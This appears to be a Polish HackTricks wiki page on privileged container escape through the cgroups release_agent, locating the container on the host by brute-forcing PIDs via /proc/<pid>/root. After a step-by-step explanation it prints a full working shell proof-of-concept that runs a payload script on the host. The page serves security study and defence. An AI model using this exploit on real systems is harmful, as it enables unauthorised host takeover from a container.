hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md
2024-02-11 01:46:25 +00:00

6.4 KiB

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Aby uzyskać dalsze szczegóły, sprawdź wpis na blogu z https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Oto tylko streszczenie:

Technika opisuje metodę wykonywania kodu hosta z poziomu kontenera, pokonując wyzwania wynikające z konfiguracji sterowników magazynu, które utrudniają ścieżkę systemu plików kontenera na hoście, takie jak Kata Containers lub konkretne ustawienia devicemapper.

Kluczowe kroki:

  1. Lokalizacja identyfikatorów procesów (PID): Za pomocą symbolicznego łącza /proc/<pid>/root w pseudosystemie plików Linuxa można uzyskać dostęp do dowolnego pliku wewnątrz kontenera w odniesieniu do systemu plików hosta. Pozwala to ominąć konieczność znajomości ścieżki systemu plików kontenera na hoście.
  2. Brute Force PID: Wykorzystuje się podejście brute force do przeszukiwania PID-ów na hoście. Polega to na sekwencyjnym sprawdzaniu obecności określonego pliku w /proc/<pid>/root/<file>. Gdy plik zostanie znaleziony, oznacza to, że odpowiadający PID należy do procesu uruchomionego wewnątrz docelowego kontenera.
  3. Wywołanie wykonania: Zgadywana ścieżka PID jest zapisywana w pliku release_agent grupy cgroups. To działanie wywołuje wykonanie release_agent. Sukces tego kroku jest potwierdzany przez sprawdzenie utworzenia pliku wynikowego.

Proces eksploatacji

Proces eksploatacji obejmuje bardziej szczegółowy zestaw działań, mających na celu wykonanie ładunku na hoście poprzez zgadywanie poprawnego PID procesu uruchomionego wewnątrz kontenera. Oto jak to się odbywa:

  1. Inicjalizacja środowiska: Na hoście przygotowywany jest skrypt ładunku (payload.sh), a tworzony jest unikalny katalog do manipulacji grupą cgroups.
  2. Przygotowanie ładunku: Tworzony jest skrypt ładunku, który zawiera polecenia do wykonania na hoście, i jest on nadawany uprawnienia do wykonania.
  3. Konfiguracja grupy cgroups: Grupa cgroups jest montowana i konfigurowana. Ustawiana jest flaga notify_on_release, aby zapewnić wykonanie ładunku po zwolnieniu grupy cgroups.
  4. Brute Force PID: Pętla iteruje przez potencjalne PID-y, zapisując każdy zgadywany PID w pliku release_agent. Efektem tego jest ustawienie skryptu ładunku jako release_agent.
  5. Wywołanie i sprawdzenie wykonania: Dla każdego PID-u zapisywane jest cgroup.procs grupy cgroups, co powoduje wykonanie release_agent, jeśli PID jest poprawny. Pętla trwa, dopóki nie zostanie znaleziony wynikowy plik skryptu ładunku, co oznacza udane wykonanie.

PoC z wpisu na blogu:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: